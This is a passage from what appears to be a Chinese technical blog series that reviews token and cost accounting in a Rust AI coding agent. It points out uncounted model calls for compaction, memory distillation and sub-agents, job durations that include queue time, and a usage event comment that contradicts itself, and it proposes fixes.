把上一条摊开说。<code>Config</code> 里 <code>--model</code> 可以在 REPL 里用 <code>/model</code> 随时切：
<div class="codehilite"><pre><span></span><code><span class="k">pub</span><span class="w"> </span><span class="k">fn</span><span class="w"> </span><span class="nf">set_model</span><span class="p">(</span><span class="o">&amp;</span><span class="k">mut</span><span class="w"> </span><span class="bp">self</span><span class="p">,</span><span class="w"> </span><span class="n">model</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="kt">str</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="bp">self</span><span class="p">.</span><span class="n">cfg</span><span class="p">.</span><span class="n">model</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">model</span><span class="p">.</span><span class="n">to_string</span><span class="p">();</span>
<span class="p">}</span>
</code></pre></div>


子代理还可以用自己的 <code>def.model</code> 覆盖：
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="k">mut</span><span class="w"> </span><span class="n">sub_cfg</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">cfg</span><span class="p">.</span><span class="n">clone</span><span class="p">();</span>
<span class="k">if</span><span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nb">Some</span><span class="p">(</span><span class="n">m</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">&amp;</span><span class="n">def</span><span class="p">.</span><span class="n">model</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">sub_cfg</span><span class="p">.</span><span class="n">model</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">m</span><span class="p">.</span><span class="n">clone</span><span class="p">();</span>
<span class="p">}</span>
</code></pre></div>


同一个 <code>UsageTotals</code> 里，可能混着两三个不同模型的 token，而账本上只有一个总数。这就像把人民币、美元、欧元加在一起报一个「总金额」——数字是对的，含义是错的。

修法不复杂：<code>UsageTotals</code> 不该是三个标量，而该是 <code>HashMap&lt;ModelId, Usage&gt;</code>，或者退一步，每次请求记一行带 <code>model</code> 的 span，汇总时再按模型分组。前者的查询快、后者的审计强，选哪个取决于你要的是仪表盘还是账本。对一个要回答「这个月花了多少」的系统，后者更合适——因为价格表会变，历史行必须带当时的模型名。
<h2>三处内部调用完全不进账</h2>

除了主循环，agent 里还有三处会调用模型，三处都不经过 <code>complete()</code>：
<div class="table-scroll"><table>
<thead>
<tr>
<th>调用点</th>
<th>入口函数</th>
<th>触发时机</th>
<th>账本</th>
</tr>
</thead>
<tbody>
<tr>
<td>上下文压缩</td>
<td><code>summarize_messages</code> → <code>llm::summarize</code></td>
<td>超过 12 万字符</td>
<td>无</td>
</tr>
<tr>
<td>记忆提炼</td>
<td><code>distill_memories</code> → <code>memory::distill</code></td>
<td>每轮收尾且通过门槛</td>
<td>无</td>
</tr>
<tr>
<td>子代理</td>
<td><code>run_subagent_inner</code> → <code>llm::chat</code></td>
<td>模型调用 <code>subagent</code> 工具</td>
<td>无</td>
</tr>
</tbody>
</table></div>

它们的共同点是都直接调 <code>crate::llm::chat</code>，拿到的 <code>AssistantTurn</code> 只取 <code>.content</code>，<code>usage</code> 被就地丢弃：
<div class="codehilite"><pre><span></span><code><span class="k">pub</span><span class="w"> </span><span class="k">fn</span><span class="w"> </span><span class="nf">summarize</span><span class="p">(</span><span class="n">cfg</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="nc">Config</span><span class="p">,</span><span class="w"> </span><span class="n">text</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="kt">str</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="nb">Result</span><span class="o">&lt;</span><span class="nb">String</span><span class="p">,</span><span class="w"> </span><span class="nb">String</span><span class="o">&gt;</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="k">mut</span><span class="w"> </span><span class="n">summarizer_cfg</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">cfg</span><span class="p">.</span><span class="n">clone</span><span class="p">();</span>
<span class="w">    </span><span class="n">summarizer_cfg</span><span class="p">.</span><span class="n">stream</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">false</span><span class="p">;</span>
<span class="w">    </span><span class="o">..</span><span class="p">.</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="n">turn</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">chat</span><span class="p">(</span><span class="o">&amp;</span><span class="n">summarizer_cfg</span><span class="p">,</span><span class="w"> </span><span class="o">&amp;</span><span class="n">messages</span><span class="p">,</span><span class="w"> </span><span class="o">&amp;</span><span class="n">Value</span><span class="p">::</span><span class="n">Array</span><span class="p">(</span><span class="fm">vec!</span><span class="p">[]),</span><span class="w"> </span><span class="o">|</span><span class="n">_</span><span class="o">|</span><span class="w"> </span><span class="p">{})</span><span class="o">?</span><span class="p">;</span>
<span class="w">    </span><span class="nb">Ok</span><span class="p">(</span><span class="n">turn</span><span class="p">.</span><span class="n">content</span><span class="p">.</span><span class="n">trim</span><span class="p">().</span><span class="n">to_string</span><span class="p">())</span>
<span class="p">}</span>
</code></pre></div>


这不是「忘了记账」，而是结构上没有地方记：这三个函数都不持有 <code>&amp;mut Agent</code>，<code>UsageTotals</code> 又是值类型。要让它们记账，只能把账本提升成一个独立对象，作为参数传进去，或者塞进 <code>Config</code>（不推荐，配置是只读契约，不该承担可变状态）。
<h2>压缩的账：摘要是一次完整的模型请求</h2>

<code>compact_with</code> 的流程值得单独算一笔账：
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">dropped</span><span class="p">:</span><span class="w"> </span><span class="nb">Vec</span><span class="o">&lt;</span><span class="n">Value</span><span class="o">&gt;</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">messages</span><span class="p">.</span><span class="n">drain</span><span class="p">(</span><span class="mi">1</span><span class="o">..</span><span class="n">start</span><span class="p">).</span><span class="n">collect</span><span class="p">();</span>
<span class="kd">let</span><span class="w"> </span><span class="n">note</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">match</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">summarize_messages</span><span class="p">(</span><span class="o">&amp;</span><span class="n">dropped</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="nb">Some</span><span class="p">(</span><span class="n">summary</span><span class="p">)</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="fm">format!</span><span class="p">(</span><span class="s">&quot;[Earlier conversation summary]</span><span class="se">\n</span><span class="s">{summary}&quot;</span><span class="p">),</span>
<span class="w">    </span><span class="nb">None</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="s">&quot;[Earlier conversation was omitted to keep the context small]&quot;</span><span class="p">.</span><span class="n">to_string</span><span class="p">(),</span>
<span class="p">};</span>
</code></pre></div>


把被丢弃的消息拼成一个摘录（每个消息截 1200 字符），发给模型要一段不超过 300 词的总结。这次请求的 prompt 可能有好几万 token——因为它塞的就是半个上下文。

对一个 40 轮的长任务，压缩可能触发好几次。每次都是一次实打实的大请求，但账本上只多了一行 <code>context compacted: N older message(s) replaced by a summary</code> 的 note，没有一个 token。

更微妙的是一笔「看不见的收益」：压缩之后，后续每次请求的 <code>prompt_tokens</code> 都会下降。也就是压缩是「一次性花钱、长期省钱」的操作。没有账本，你无法判断这笔投资划不划算——比如压缩花了 3 万 token，省下的后续请求一共省了 2 万，那就是亏的。这个判断完全依赖账本，而现在的账本恰好缺这一块。
<h2>记忆提炼的账：每轮收尾的一次隐藏调用</h2>

<code>distill_memories</code> 的门槛是 <code>worth_distilling</code>：
<div class="codehilite"><pre><span></span><code><span class="k">pub</span><span class="w"> </span><span class="k">fn</span><span class="w"> </span><span class="nf">worth_distilling</span><span class="p">(</span><span class="n">user_text</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="kt">str</span><span class="p">,</span><span class="w"> </span><span class="n">had_tools</span><span class="p">:</span><span class="w"> </span><span class="kt">bool</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="kt">bool</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="n">had_tools</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="k">return</span><span class="w"> </span><span class="kc">true</span><span class="p">;</span>
<span class="w">    </span><span class="p">}</span>
<span class="w">    </span><span class="o">..</span><span class="p">.</span>
<span class="w">    </span><span class="n">text</span><span class="p">.</span><span class="n">chars</span><span class="p">().</span><span class="n">count</span><span class="p">()</span><span class="w"> </span><span class="o">&gt;=</span><span class="w"> </span><span class="mi">24</span>
<span class="p">}</span>
</code></pre></div>


只要这一轮调用过工具，就一定会提炼。提炼的输入是 <code>excerpt_from(&amp;self.messages, 6000)</code>——最近 6000 字符的对话；输出是一个 JSON 数组。这次调用同样没有记账，而且它的触发条件是「有过工具调用」，也就是<strong>在大多数真实任务里都会发生</strong>。

所以一个典型的 coding 任务，每轮的模型请求数实际是：
<div class="table-scroll"><table>
<thead>
<tr>
<th>来源</th>
<th>每轮次数</th>
<th>是否计入 <code>requests</code></th>
</tr>
</thead>
<tbody>
<tr>
<td>主循环（模型 + 工具往返）</td>
<td>1 到 40</td>
<td>是</td>
</tr>
<tr>
<td>记忆提炼</td>
<td>1（有工具调用时）</td>
<td>否</td>
</tr>
<tr>
<td>上下文压缩</td>
<td>0 到若干</td>
<td>否</td>
</tr>
<tr>
<td>子代理</td>
<td>0 到 4，每个 1 到 40</td>
<td>否</td>
</tr>
</tbody>
</table></div>

<code>/cost</code> 里显示的 <code>requests</code>，可能只有真实请求数的一半。这个偏差不是小数点级别的，是数量级级别的。
<h2>子代理的账为什么结构上记不上</h2>

这是 08 最难的一块，也是 07 结尾留下的引子。

一次委派在 <code>run_subagent_inner</code> 里是这样跑的：
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="k">mut</span><span class="w"> </span><span class="n">result</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">String</span><span class="p">::</span><span class="n">new</span><span class="p">();</span>
<span class="k">for</span><span class="w"> </span><span class="n">_</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="mi">0</span><span class="o">..</span><span class="n">sub_cfg</span><span class="p">.</span><span class="n">max_iterations</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="n">turn</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">llm</span><span class="p">::</span><span class="n">chat</span><span class="p">(</span><span class="o">&amp;</span><span class="n">sub_cfg</span><span class="p">,</span><span class="w"> </span><span class="o">&amp;</span><span class="n">messages</span><span class="p">,</span><span class="w"> </span><span class="o">&amp;</span><span class="n">tools</span><span class="p">,</span><span class="w"> </span><span class="o">|</span><span class="n">_</span><span class="o">|</span><span class="w"> </span><span class="p">{})</span><span class="o">?</span><span class="p">;</span>
<span class="w">    </span><span class="n">result</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">turn</span><span class="p">.</span><span class="n">content</span><span class="p">.</span><span class="n">clone</span><span class="p">();</span>
<span class="w">    </span><span class="n">messages</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="n">assistant_message</span><span class="p">(</span><span class="o">&amp;</span><span class="n">turn</span><span class="p">));</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="n">turn</span><span class="p">.</span><span class="n">tool_calls</span><span class="p">.</span><span class="n">is_empty</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="k">break</span><span class="p">;</span>
<span class="w">    </span><span class="p">}</span>
<span class="w">    </span><span class="o">..</span><span class="p">.</span>
<span class="p">}</span>
<span class="nb">Ok</span><span class="p">(</span><span class="n">result</span><span class="p">)</span>
</code></pre></div>


注意三件事：

<strong>第一，子代理最多跑 <code>sub_cfg.max_iterations</code> 轮</strong>，而 <code>sub_cfg</code> 是从父配置克隆的——默认 40。07 已经指出这是个危险的默认值；从账本角度看，它意味着一次 <code>subagent</code> 工具调用背后最多藏着 40 次模型请求，全部不可见。

<strong>第二，<code>turn.usage</code> 被就地丢弃</strong>，和压缩、提炼一模一样。

<strong>第三，也是结构性的：整条路径没有返回值能带回用量。</strong> <code>run_subagent</code> 的返回类型是 <code>Result&lt;String, String&gt;</code>，用量的唯一出口是 <code>Ok(text)</code> 里那段文本。想记账只能在文本里塞一行「used N tokens」——那是把账本降级成注释。

正确的形状应该让委派返回一个结构：
<div class="codehilite"><pre><span></span><code><span class="k">struct</span><span class="w"> </span><span class="nc">Delegation</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">text</span><span class="p">:</span><span class="w"> </span><span class="nb">String</span><span class="p">,</span>
<span class="w">    </span><span class="n">usage</span><span class="p">:</span><span class="w"> </span><span class="nc">Usage</span><span class="p">,</span>
<span class="w">    </span><span class="n">requests</span><span class="p">:</span><span class="w"> </span><span class="kt">u32</span><span class="p">,</span>
<span class="w">    </span><span class="n">elapsed</span><span class="p">:</span><span class="w"> </span><span class="nc">Duration</span><span class="p">,</span>
<span class="p">}</span>
</code></pre></div>


然后由父代理在收口处把它记成一行 <code>who = agent-7</code> 的子账，再决定怎么汇总。这样 <code>agent_list</code> 才能回答「哪个子代理最贵」，而不只是「哪个子代理最慢」。
<h2>任务板只有时间没有钱</h2>

<code>Job</code> 的字段是：
<div class="codehilite"><pre><span></span><code><span class="k">pub</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">Job</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">id</span><span class="p">:</span><span class="w"> </span><span class="nb">String</span><span class="p">,</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">name</span><span class="p">:</span><span class="w"> </span><span class="nb">String</span><span class="p">,</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">task</span><span class="p">:</span><span class="w"> </span><span class="nb">String</span><span class="p">,</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">status</span><span class="p">:</span><span class="w"> </span><span class="nc">JobStatus</span><span class="p">,</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">result</span><span class="p">:</span><span class="w"> </span><span class="nb">String</span><span class="p">,</span>
<span class="w">    </span><span class="sd">/// Wall-clock time the job took, once it has finished.</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">duration</span><span class="p">:</span><span class="w"> </span><span class="nb">Option</span><span class="o">&lt;</span><span class="n">Duration</span><span class="o">&gt;</span><span class="p">,</span>
<span class="w">    </span><span class="n">started</span><span class="p">:</span><span class="w"> </span><span class="nc">Instant</span><span class="p">,</span>
<span class="p">}</span>
</code></pre></div>


七个字段里，只有 <code>duration</code> 是「量」，<code>result</code> 是截到 500 字符的预览，其余都是标识与状态。没有 <code>usage</code>，没有 <code>requests</code>，也没有 <code>model</code>。

<code>render_agent_board</code> 的输出也因此只能是：
<div class="codehilite"><pre><span></span><code>Sub-agent jobs:
- agent-1 [done] reviewer (12.3s) — review auth.rs
  result: looks fine
- agent-2 [running] explorer (…) — map the repo
</code></pre></div>


这份输出对「谁在干什么」够用，对「这次任务的钱花在哪」完全不够。07 说过任务板是「一个只追加的观测结构」；从账本的角度看，它更像一个<strong>只记了时长的事件表</strong>——事件表能还原顺序，但不能求和。
<h2><code>duration</code> 测的是排队加执行</h2>

<code>Board::start</code> 里设置了 <code>started</code>：
<div class="codehilite"><pre><span></span><code><span class="bp">self</span><span class="p">.</span><span class="n">jobs</span><span class="p">.</span><span class="n">lock</span><span class="p">().</span><span class="n">unwrap</span><span class="p">().</span><span class="n">push</span><span class="p">(</span><span class="n">Job</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">id</span><span class="p">:</span><span class="w"> </span><span class="nc">id</span><span class="p">.</span><span class="n">clone</span><span class="p">(),</span>
<span class="w">    </span><span class="o">..</span><span class="p">.</span>
<span class="w">    </span><span class="n">duration</span><span class="p">:</span><span class="w"> </span><span class="nb">None</span><span class="p">,</span>
<span class="w">    </span><span class="n">started</span><span class="p">:</span><span class="w"> </span><span class="nc">Instant</span><span class="p">::</span><span class="n">now</span><span class="p">(),</span>
<span class="p">});</span>
</code></pre></div>


而 <code>run_subagent</code> 的调用顺序是：
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">ctx</span><span class="p">.</span><span class="n">board</span><span class="p">.</span><span class="n">start</span><span class="p">(</span><span class="n">name</span><span class="p">,</span><span class="w"> </span><span class="n">task</span><span class="p">);</span>
<span class="kd">let</span><span class="w"> </span><span class="n">_permit</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">ctx</span><span class="p">.</span><span class="n">gate</span><span class="p">.</span><span class="n">acquire</span><span class="p">();</span>
<span class="kd">let</span><span class="w"> </span><span class="n">result</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">run_subagent_inner</span><span class="p">(</span><span class="n">name</span><span class="p">,</span><span class="w"> </span><span class="n">task</span><span class="p">);</span>
</code></pre></div>


登记的时机在 <code>acquire</code> 之前。所以 <code>finish</code> 里算出来的 <code>duration</code> 是 <code>job.started.elapsed()</code>——<strong>包含排队时间</strong>。

这件事在 07 里是用「排队也显示 running」来讲的；在 08 里它变成一条账本口径问题：如果一次委派排队等了 20 秒、真正执行了 3 秒，账上写的是 23 秒。这个数字用来判断「子代理慢不慢」是错的，因为它把限流门的等待算进了子代理的工作时间。

修复的方式在 07 的加固清单里已经写过：<code>JobStatus</code> 加 <code>Queued</code>，<code>duration</code> 拆成 <code>queued</code> 与 <code>ran</code> 两段。对账本来说，这不仅是显示问题——<strong>排队时间是「被配额拖住」的证据</strong>。如果你发现某天平均排队 15 秒，那说明 4 个槽位不够，而不是模型变慢了。这两者要分开记，才能分别对症。
<h2>工具调用在账本上是空的</h2>

<code>execute</code> 从头到尾没有一个 <code>Instant</code>：
<div class="codehilite"><pre><span></span><code><span class="k">fn</span><span class="w"> </span><span class="nf">execute</span><span class="p">(</span><span class="o">&amp;</span><span class="bp">self</span><span class="p">,</span><span class="w"> </span><span class="n">call</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="nc">llm</span><span class="p">::</span><span class="n">ToolCall</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="nb">String</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nb">Err</span><span class="p">(</span><span class="n">reason</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">cfg</span><span class="p">.</span><span class="n">check_tool</span><span class="p">(</span><span class="o">&amp;</span><span class="n">call</span><span class="p">.</span><span class="n">name</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="k">return</span><span class="w"> </span><span class="fm">format!</span><span class="p">(</span><span class="s">&quot;ERROR: {reason}&quot;</span><span class="p">);</span>
<span class="w">    </span><span class="p">}</span>
<span class="w">    </span><span class="o">..</span><span class="p">.</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="k">mut</span><span class="w"> </span><span class="n">result</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">run_tool</span><span class="p">(</span><span class="o">&amp;</span><span class="n">call</span><span class="p">.</span><span class="n">name</span><span class="p">,</span><span class="w"> </span><span class="o">&amp;</span><span class="n">args</span><span class="p">);</span>
<span class="w">    </span><span class="o">..</span><span class="p">.</span>
<span class="w">    </span><span class="n">result</span>
<span class="p">}</span>
</code></pre></div>


结果回到主循环之后，只做了一件事：
<div class="codehilite"><pre><span></span><code><span class="bp">self</span><span class="p">.</span><span class="n">style</span><span class="p">.</span><span class="n">tool_call</span><span class="p">(</span><span class="o">&amp;</span><span class="n">call</span><span class="p">.</span><span class="n">name</span><span class="p">,</span><span class="w"> </span><span class="o">&amp;</span><span class="n">summarize</span><span class="p">(</span><span class="o">&amp;</span><span class="n">call</span><span class="p">.</span><span class="n">name</span><span class="p">,</span><span class="w"> </span><span class="o">&amp;</span><span class="n">call</span><span class="p">.</span><span class="n">arguments</span><span class="p">),</span><span class="w"> </span><span class="o">&amp;</span><span class="n">result</span><span class="p">);</span>
</code></pre></div>


也就是说，一次工具调用在账本上留下的信息是「名字 + 参数摘要 + 结果文本」，没有开始时刻、没有耗时、没有输出字节数。而工具恰恰是 agent 里最不可控的一段：<code>run_command</code> 可能跑满 120 秒超时，<code>web_fetch</code> 可能卡在网络，<code>grep</code> 可能在几十万个文件里扫。

链路上其实有 <code>Instant</code>，但都只为超时服务：<code>shell::run_command</code> 的 <code>start</code> 用来判断是否超过 <code>timeout_secs</code>，<code>hooks::run</code> 的 <code>start</code> 用来判断是否超过 <code>HOOK_TIMEOUT_SECS</code>。超时判断是「到点就杀」，它不需要、也不保留「实际用了多久」。

一个能对账的工具记录应该长这样：
<div class="table-scroll"><table>
<thead>
<tr>
<th>字段</th>
<th>用途</th>
</tr>
</thead>
<tbody>
<tr>
<td>name</td>
<td>哪个工具</td>
</tr>
<tr>
<td>start_ms / end_ms</td>
<td>什么时候、多久</td>
</tr>
<tr>
<td>args_bytes</td>
<td>参数多大</td>
</tr>
<tr>
<td>result_bytes / truncated</td>
<td>结果多大、有没有被 <code>clamp</code> 截断</td>
</tr>
<tr>
<td>exit_code</td>
<td>命令类工具的成功失败</td>
</tr>
<tr>
<td>tool_call_id</td>
<td>与消息历史里的调用配对</td>
</tr>
</tbody>
</table></div>

其中 <code>truncated</code> 特别值得记：<code>clamp</code> 把超长输出截到 20000 字符，这是 04 讲过的预算设计。但从账本看，「这次工具输出被截了多少」是判断「工具设计是否合理」的关键指标——如果一个工具的输出连续十次被截断，说明它的输出粒度太粗，该改工具而不是改预算。
<h2>终端与 GUI 两套消费者，一个语义漂移</h2>

<code>UiEvent::Usage</code> 的注释是这样写的：
<div class="codehilite"><pre><span></span><code><span class="sd">/// Cumulative token usage after a model request, so a GUI can show what the</span>
<span class="sd">/// task has cost so far. `requests` counts the model calls this update added</span>
<span class="sd">/// (normally 1), so a client showing a per-task total simply sums the values</span>
<span class="sd">/// it receives — which also works when the numbers come from a shared daemon.</span>
<span class="n">Usage</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">requests</span><span class="p">:</span><span class="w"> </span><span class="kt">u64</span><span class="p">,</span>
<span class="w">    </span><span class="n">prompt_tokens</span><span class="p">:</span><span class="w"> </span><span class="kt">u64</span><span class="p">,</span>
<span class="w">    </span><span class="n">completion_tokens</span><span class="p">:</span><span class="w"> </span><span class="kt">u64</span><span class="p">,</span>
<span class="p">},</span>
</code></pre></div>


第一行说「Cumulative（累计）」，最后一行说「客户端把这些值加起来」，也就是「增量」。同一段注释里出现了两个相反的口径。实际发送方是主循环：
<div class="codehilite"><pre><span></span><code><span class="bp">self</span><span class="p">.</span><span class="n">style</span><span class="p">.</span><span class="n">usage</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="n">turn</span><span class="p">.</span><span class="n">usage</span><span class="p">.</span><span class="n">prompt_tokens</span><span class="p">,</span><span class="w"> </span><span class="n">turn</span><span class="p">.</span><span class="n">usage</span><span class="p">.</span><span class="n">completion_tokens</span><span class="p">);</span>
</code></pre></div>


第一个参数硬编码为 <code>1</code>，所以<strong>实现是增量</strong>，注释的头一行是错的。

这种漂移在只有一两个消费者时不会出事，但它是「糊涂账」的种子：下一个接这个事件的人如果按「累计」理解，就会把最后一次的值当成总数，得到一个偏小的结果，而且看不出错在哪。

顺带一提终端的行为：<code>Style::usage</code> 在终端模式下什么都不打印——
<div class="codehilite"><pre><span></span><code><span class="k">pub</span><span class="w"> </span><span class="k">fn</span><span class="w"> </span><span class="nf">usage</span><span class="p">(</span><span class="o">&amp;</span><span class="bp">self</span><span class="p">,</span><span class="w"> </span><span class="n">requests</span><span class="p">:</span><span class="w"> </span><span class="kt">u64</span><span class="p">,</span><span class="w"> </span><span class="n">prompt_tokens</span><span class="p">:</span><span class="w"> </span><span class="kt">u64</span><span class="p">,</span><span class="w"> </span><span class="n">completion_tokens</span><span class="p">:</span><span class="w"> </span><span class="kt">u64</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="bp">self</span><span class="p">.</span><span class="n">emit</span><span class="p">(</span><span class="n">UiEvent</span><span class="p">::</span><span class="n">Usage</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="o">..</span><span class="p">.</span><span class="w"> </span><span class="p">});</span>
<span class="p">}</span>
</code></pre></div>


<code>emit</code> 在没有 sink 时返回 <code>false</code>，函数就结束了。注释里说「终端已经有 <code>/cost</code>」，这个理由成立，但它意味着<strong>终端的实时观测能力为零</strong>：你只能在轮次结束后敲一次 <code>/cost</code>，中间发生了什么完全看不见。一个跑 20 分钟的轮次，中途没有任何用量反馈。
<h2>daemon 的差分记账：<code>saturating_sub</code></h2>

daemon 用一个 Agent 服务多个会话。因为 <code>usage</code> 是进程级累加，单个请求的用量只能靠前后差分：
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">before</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">agent</span><span class="p">.</span><span class="n">usage</span><span class="p">();</span>
<span class="kd">let</span><span class="w"> </span><span class="n">result</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">agent</span><span class="p">.</span><span class="n">run</span><span class="p">(</span><span class="n">user_content</span><span class="p">(</span><span class="o">&amp;</span><span class="n">prompt</span><span class="p">,</span><span class="w"> </span><span class="o">&amp;</span><span class="n">images</span><span class="p">));</span>
<span class="kd">let</span><span class="w"> </span><span class="n">after</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">agent</span><span class="p">.</span><span class="n">usage</span><span class="p">();</span>

<span class="kd">let</span><span class="w"> </span><span class="n">resp</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">match</span><span class="w"> </span><span class="n">result</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="nb">Ok</span><span class="p">(</span><span class="n">response</span><span class="p">)</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="n">json</span><span class="o">!</span><span class="p">({</span>
<span class="w">        </span><span class="s">&quot;response&quot;</span><span class="p">:</span><span class="w"> </span><span class="nc">response</span><span class="p">,</span>
<span class="w">        </span><span class="s">&quot;session&quot;</span><span class="p">:</span><span class="w"> </span><span class="nc">session_id</span><span class="p">,</span>
<span class="w">        </span><span class="s">&quot;usage&quot;</span><span class="p">:</span><span class="w"> </span><span class="p">{</span>
<span class="w">            </span><span class="s">&quot;requests&quot;</span><span class="p">:</span><span class="w"> </span><span class="nc">after</span><span class="p">.</span><span class="n">requests</span><span class="p">.</span><span class="n">saturating_sub</span><span class="p">(</span><span class="n">before</span><span class="p">.</span><span class="n">requests</span><span class="p">),</span>
<span class="w">            </span><span class="s">&quot;prompt_tokens&quot;</span><span class="p">:</span><span class="w"> </span><span class="nc">after</span><span class="p">.</span><span class="n">prompt_tokens</span><span class="p">.</span><span class="n">saturating_sub</span><span class="p">(</span><span class="n">before</span><span class="p">.</span><span class="n">prompt_tokens</span><span class="p">),</span>
<span class="w">            </span><span class="s">&quot;completion_tokens&quot;</span><span class="p">:</span><span class="w"> </span><span class="nc">after</span><span class="p">.</span><span class="n">completion_tokens</span><span class="p">.</span><span class="n">saturating_sub</span><span class="p">(</span><span class="n">before</span><span class="p">.</span><span class="n">completion_tokens</span><span class="p">),</span>
<span class="w">            </span><span class="s">&quot;total_tokens&quot;</span><span class="p">:</span><span class="w"> </span><span class="nc">after</span><span class="p">.</span><span class="n">total_tokens</span><span class="p">().</span><span class="n">saturating_sub</span><span class="p">(</span><span class="n">before</span><span class="p">.</span><span class="n">total_tokens</span><span class="p">()),</span>
<span class="w">        </span><span class="p">}</span>
<span class="w">    </span><span class="p">}),</span>
<span class="w">    </span><span class="nb">Err</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="n">json</span><span class="o">!</span><span class="p">({</span><span class="w"> </span><span class="s">&quot;error&quot;</span><span class="p">:</span><span class="w"> </span><span class="nc">e</span><span class="p">,</span><span class="w"> </span><span class="s">&quot;session&quot;</span><span class="p">:</span><span class="w"> </span><span class="nc">session_id</span><span class="w"> </span><span class="p">}),</span>
<span class="p">}</span>
</code></pre></div>


<code>saturating_sub</code> 是个体贴的细节：万一计数回绕或被人为清零，订单不会变成天文数字。差分法本身在串行服务下也是对的——daemon 一次只处理一个请求，两个快照之间不会有别的写入。

但它有一个前提：<strong>这两个快照之间发生的所有增长都属于这一次请求</strong>。这个前提在 <code>compact</code>、<code>distill</code>、<code>subagent</code> 也记账之后会立刻失效（因为它们也在这段时间里，但那确实属于这个请求，所以还算对）；真正失效的场景是并发——只要哪天 daemon 改成多线程处理，差分就把别人的账算到你头上。

差分法真正的问题在下一节。
<h2>失败轮次的 token 去了哪里</h2>

看 <code>Err</code> 分支：只返回 <code>{"error", "session"}</code>，<strong>没有 <code>usage</code> 字段</strong>。

